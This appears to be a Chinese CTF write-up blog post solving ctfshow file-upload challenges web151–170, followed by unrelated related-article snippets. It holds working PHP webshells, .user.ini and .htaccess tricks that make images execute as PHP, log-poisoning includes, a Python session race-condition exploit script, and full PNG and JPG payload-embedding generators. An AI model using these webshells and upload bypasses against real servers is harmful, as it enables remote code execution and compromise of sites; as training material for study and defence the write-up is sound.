【Web】CTFSHOW 文件上传刷题记录(全)

news/2024/5/19 21:26:26 标签: ctfshow, web, ctf, 文件上传, 漏洞, 网络安全, wp

期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava!

目录

web151-toc" style="margin-left:0px;">web151

web152-toc" style="margin-left:0px;">web152

web153-toc" style="margin-left:0px;">web153

web154-155-toc" style="margin-left:0px;">web154-155

web156-159-toc" style="margin-left:0px;">web156-159

web160-toc" style="margin-left:0px;">web160

web161-toc" style="margin-left:0px;">web161

web162-163-toc" style="margin-left:0px;">web162-163

web164-toc" style="margin-left:0px;">web164

web165-toc" style="margin-left:0px;">web165

web166-toc" style="margin-left:0px;">web166

web167-toc" style="margin-left:0px;">web167

web168-toc" style="margin-left:0px;">web168

web169-170-toc" style="margin-left:0px;">web169-170


web151">web151

 如果直接上传php文件就会弹窗

直接禁js按钮就不能上传文件了

 一种方法是改js代码(png=>php)

然后直接上传即可

 另一种方法可以不改js,直接抓包,然后改数据包信息,png=>php即可成功上传

 连蚁剑,下略

web152">web152

抓包,改content-type就行

下略

web153">web153

"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 实际上是 Unicode 编码下的中文字符串,对应的中文是 "文件类型不合规" 。"\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4" 中的每个 "\u" 表示紧跟着的四位十六进制数表示一个字符的码点。例如,"\u6587" 表示中文字符 "文" 的码点 U+6587,"\u4ef6" 表示中文字符 "件" 的码点 U+4EF6,以此类推。

嫌查表麻烦可以直接在浏览器的console运行一下嘛

经过尝试发现是对文件后缀有过滤,用phtml就可绕过

但好家伙配置文件不把phtml当php解析是吧

润了,只能上传.user.ini

相当于给/upload这个目录下所有文件都包含一个指定文件

 包含一个藏马的文件(包括图片文件)就相当于在页面里写了个马

连蚁剑,下略

web154-155">web154-155

正常上传.user.ini后再上传图片文件时会如上报错,说明有文件内容检测了,bp抓包简单二分法测一下就好。

 发现过滤了php,直接短标签即可

成功连蚁剑,下略

web156-159">web156-159

二分法测出来过滤了'[',我测,这还咋写马(其实可以用{}来代替[])

但如果想不到的话也倒不必强求,直接配置文件配合日志包含就行

GIF89a
auto_prepend_file=/var/log/nginx/access.log

这种姿势我挺喜欢的,可以积累一下捏。

web160">web160

终于ban了,二分法测一下发现是log被禁了。

问题不大,可以尝试字符串拼接试试

会发现并不支持这样的写法,那我们还是回头对包含图片马做文章吧。

继续二分法测发现过滤了'[','{','()','`'和空格,这其实敏感的师傅很快就懂了,include嘛。

继续日志包含,php代码肯定支持拼接的,log拼接一下就可绕过过滤

<?=include"/var/lo"."g/nginx/access.l"."og"?>

然后UA命令执行就行

web161">web161

多一个文件头过滤罢了,加个GIF89a

下略

web162-163">web162-163

先包含一个sess文件

GIF89a
auto_prepend_file=/tmp/sess_Z3r4y

session.upload_progress.enabled = On
 
session.upload_progress.prefix = "upload_progress_"
 
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
 
session.use_strict_mode = Off 
 
session.save_path = /tmp

session.upload_progress.cleanup = On

在相关选项开启的情况下, 我们如果在上传文件的过程中 POST 一个变量 PHP_SESSION_UPLOAD_PROGRESS, PHP 就会创建一个对应的 session 文件, 文件内包含 PHP_SESSION_UPLOAD_PROGRESS 的值

如果 session.use_strict_mode = Off 时, 我们可以通过在 Cookie 中设置 PHPSESSID=123 (默认 prefix 为 PHPSESSID) 来指定 session 文件名为 sess_123 (否则就是 sess_[32位随机字符串])

当 session.upload_progress.cleanup = On 时就需要条件竞争。

import requests
import threading
url = 'http://f36bdfea-6976-4d23-922a-734073d4665b.challenge.ctf.show/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        files = {'file': ('1.png', b'GIF89a', 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'Z3r4y'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload/')
        if 'ctfshow>ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

这题本质其实就是文件上传的利用了

可以看文件包含刷题记录的web82

web164" style="background-color:transparent;">web164

.user.ini不让用了

随便上传一个png看一下,发现页面从回显文件路径变成查看图片了,点击看一下发现存在一个文件包含点。

可以尝试用png二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>

生成图片,再提交,点击查看图片,传参rce 

(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)

 

web165">web165

这次是只让上传jpg文件了

可以用jpg二次渲染绕过

<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;

    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>
用法:php jpg二渲.php a.jpg

这个得看命,只能说找不到合适的图片

web166">web166

这题只能上传zip文件

问题不大,上传一个zip文件,在文件内容末尾插入一段php代码

然后点击下载文件抓包rce即可

 

web167">web167

题目提示httpd懂的都懂,apache呗

然后这次是只能上传jpg文件

先写payload.txt内容,再把属性改为.jpg

直接上传payload.jpg

点击下载文件拿到文件路径

然后上传配置文件,因为是apachehttpd,所以要上传.htaccess

在此之前我们要先改一下前端代码

.htaccess内容(别问为什么有多余的那串,懂的都懂)

#define width 1;
#define height 1;
SetHandler application/x-httpd-php

bp抓包改一下content-type发包

访问图片路径(现在已经被当作php文件解析)

payload:

1=system('tac ../f*');

 

web168">web168

基础免杀还行

这次只让上传png文件

正常上传一个图片马会回显一个null

 下面这样可以过免杀

<?=`tac ../flagaa.php`;?>

访问/upload/yjh3.php拿到flag

web169-170">web169-170

能有多高级?

还是走回老路子,直接配置文件配合日志包含(改前端,改content-type不解释)

 但正常访问/upload/会报403,所以我们要自己再上传一个php文件

上传文件如下,高级免杀也拦不住(

 顺带UA写个马

 直接访问/upload/suibian.php


http://www.niftyadmin.cn/n/5338513.html

相关文章

Spring Boot实现统一异常处理的技术解析

引言 在软件开发过程中&#xff0c;异常处理是非常重要的一环。一个好的异常处理机制可以帮助我们更好地定位问题&#xff0c;提高代码的可维护性和稳定性。Spring Boot作为一款轻量级的Java开发框架&#xff0c;提供了一种简单而高效的方式来实现统一异常处理。本文将详细介绍…

代码随想录 Leetcode225. 用队列实现栈

题目&#xff1a; 代码(首刷自解 2024年1月21日&#xff09;&#xff1a; class MyStack { public:queue<int> Q1;queue<int> Q2;MyStack() {}void push(int x) {Q1.push(x);}int pop() {int cnt Q1.size() - 1;while (cnt--) {Q2.push(Q1.front());Q1.pop();}in…

20240121----重返学习-`nginx/conf/nginx.conf`的动静分离-单ip地址双服务器资源-最简配置说明

20240113----重返学习-nginx/conf/nginx.conf的多虚拟主机配置最简配置说明 文件说明 单ip地址双服务器资源配置 单个完整的静态项目 192.168.44.101上的配置文件: worker_processes 1; #工作进程个数;一般对应CPU内核对应一个worker_processes;太多反而让效率变差;even…

Leetcode的AC指南 —— 栈与队列:225.用队列实现栈

摘要&#xff1a; **Leetcode的AC指南 —— 栈与队列&#xff1a;225.用队列实现栈 **。题目介绍&#xff1a;请你仅使用两个队列实现一个后入先出&#xff08;LIFO&#xff09;的栈&#xff0c;并支持普通栈的全部四种操作&#xff08;push、top、pop 和 empty&#xff09;。 …

Self-RAG:通过自我反思学习检索、生成和批判

论文地址&#xff1a;https://arxiv.org/abs/2310.11511 项目主页&#xff1a;https://selfrag.github.io/ Self-RAG学习检索、生成和批评&#xff0c;以提高 LM 的输出质量和真实性&#xff0c;在六项任务上优于 ChatGPT 和检索增强的 LLama2 Chat。 问题&#xff1a;万能L…

MySQL作业 (2)单表查询

单表查询 题目&#xff1a;要求&#xff1a;1.显示所有职工的基本信息。2.查询所有职工所属部门的部门号&#xff0c;不显示重复的部门号。3.求出所有职工的人数。4.列出最高工和最低工资。5.列出职工的平均工资和总工资。6.创建一个只有职工号、姓名和参加工作的新表&#xff…

敏捷测试和DevOpes自动化测试的区别

敏捷测试和DevOps自动化测试在以下方面存在区别&#x1f447; 1️⃣目标 &#x1f388;敏捷测试的主要目标是提供快速的反馈和持续的改进&#xff0c;以便在开发过程中尽早发现和解决问题&#xff0c;从而提高软件的质量和可靠性。 &#x1f308;DevOps自动化测试的目标是提高软…

一文梳理金融风控建模全流程(Python)

▍目录 一、简介 风控信用评分卡简介 Scorecardpy库简介 二、目标定义与数据准备 目标定义 数据准备 三、安装scorecardpy包 四、数据检查 五、数据筛选 六、数据划分 七、变量分箱 卡方分箱 手动调整分箱 八、建立模型 相关性分析 多重共线性检验VIF KS和AUC …